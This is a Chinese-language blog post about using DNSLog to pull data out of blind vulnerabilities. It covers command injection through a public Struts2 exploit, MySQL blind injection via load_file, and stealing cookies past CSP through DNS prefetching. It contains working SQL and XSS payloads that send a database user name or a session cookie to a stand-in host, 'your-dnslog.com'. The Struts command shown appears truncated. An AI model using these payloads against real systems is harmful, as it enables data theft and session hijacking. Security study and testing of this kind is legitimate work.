前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >DNSLog的使用方法

DNSLog的使用方法

作者头像
Baige
发布2022-03-21 15:12:56
3.8K0
发布2022-03-21 15:12:56
举报
文章被收录于专栏:世荣的博客

1.DNSLog原理

DNS的解析是递归与迭代相结合的,这里举个例子,当我们访问网站的时候,DNS的解析过程示意图。

其中,红色部分是可控的。我们只需要搭建一个红色部分的DNS服务器,并将要盲打或盲注的回显,放到自己域名的二级域名甚至三级域名上去请求,就可以通过DNS解析日志来获取它们。

2.DNSLog工具

如果有自己的服务器和域名,可以自己搭建一个这样的平台,直接使用BugScan团队开源的工具搭建即可。

项目地址:https://github.com/BugScanTeam/DNSLog

另外也可以使用在线平台,这里有很多,就拿出来细说了。

场景一:命令盲注回显

针对不回显的命令注入漏洞,我们很难确定漏洞的存在并进一步的利用,如Struts2-052反序列化命令执行漏洞是看不到任何回显的,对于这样的情况,我们可以利用DNSLog来获取命令执行结果。这里使用已有的EXP来完成漏洞利用。

EXP地址:https://github.com/luc10/struts-rce-cve-2017-9805

利用方式为:go run main.go -u URL -c "command"

代码语言:javascript
复制
go run main.go -u 
http://www.exploit-target.com/struts2-rest-showcase/orders.xhtml

根据语法规定,会先将双引号中的whoami命令执行并替换结果,再去执行整个curl命令。可以在Web控制台下看到结果:

可以看到本来看不到的whoami回显root已经被我们接收到了。为了防止内容不适合作为域名的一部分,我们也可以base64编码后再进行请求

场景二:SQL盲注回显

不论是Bool型盲注还是时间型盲注,都需要频繁的跑请求才能获取到数据库的值,在现代WAF的防护下,很可能导致IP被Ban了,我们可以结合DNSLog完美快速的将数据取出,如遇到MySQL盲注时,可以利用内置函数load_file()来完成DNSLog。load_file()不仅能够加载本地文件,同时也能对诸如www.test.com这样的URL发起请求。

代码语言:javascript
复制
payload: select load_file(concat('\',user(),'your-dnslog.com'));

可以在web控制台看到如下结果:

用户名会直接发送到我们的服务器上面。

场景三:XSS绕过CSP

CSP(内容安全策略)是防御XSS最有效的手段之一。当我们发现一个网站有XSS漏洞,想利用XSS平台来打Cookie时,CSP会通过白名单的方式禁止跨域加载脚本,恶意代码会被拦截,导致XSS无法利用。

这里,我们通过DNS解析突破CSP的拦截。

DNS预解析(DNS Prefetching)是一种能够快速网页加载速度的即使,对于跨站的链接,由于每一次DNS解析会消耗很多时间,DNS预解析在浏览器空闲时将跨站资源的域名转化为I地址并缓存,真正请求资源时便节约了时间。

DNS预解析是默认开启的,并且我们可以通过rel="dns-prefetch"来强制进行DNS预解析。由于DNS预解析可以绕过CSP进行解析,结合DNSLOG,我们即可窃取在CSP保护下的Cookie。

代码语言:javascript
复制
Payload:document.querySelector('body').innerHTML += "<link rel='dns-prefetch' href='" + window.btoa(document.cookie.split(/;|=/)[1]) + ".your-dnslog.com'>"

上面的Payload将Cookie中截取的重要字段进行简单的base64编码后,作为我们DNSLOG平台的二级域名,并在body中插入了相应的link标签对此域名进行强制DNS预解析。当触发XSS攻击时,可以在Web控制台下看到结果:

直接对R0ExLjIuMTY0MjI2NDMxNi4xNTMyNTc0NTg3解码即可得到Cookie。当然,这种方法的利用条件极为苛刻。首先,作为XSS攻击,此Payload过长,而使用短连接加载外部脚本则又会回到被CSP限制的原点;其次,根据DNS的规定,域名的长度是有限制的,有时可能无法将长Cookie完全带出。·本文仅分享一个抛砖引玉的思路,进一步的利用方式还有待开发。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022 年 03 月,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1.DNSLog原理
  • 2.DNSLog工具
    • 场景一:命令盲注回显
      • 场景二:SQL盲注回显
        • 场景三:XSS绕过CSP
        相关产品与服务
        云数据库 MySQL
        腾讯云数据库 MySQL(TencentDB for MySQL)为用户提供安全可靠,性能卓越、易于维护的企业级云数据库服务。其具备6大企业级特性,包括企业级定制内核、企业级高可用、企业级高可靠、企业级安全、企业级扩展以及企业级智能运维。通过使用腾讯云数据库 MySQL,可实现分钟级别的数据库部署、弹性扩展以及全自动化的运维管理,不仅经济实惠,而且稳定可靠,易于运维。
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档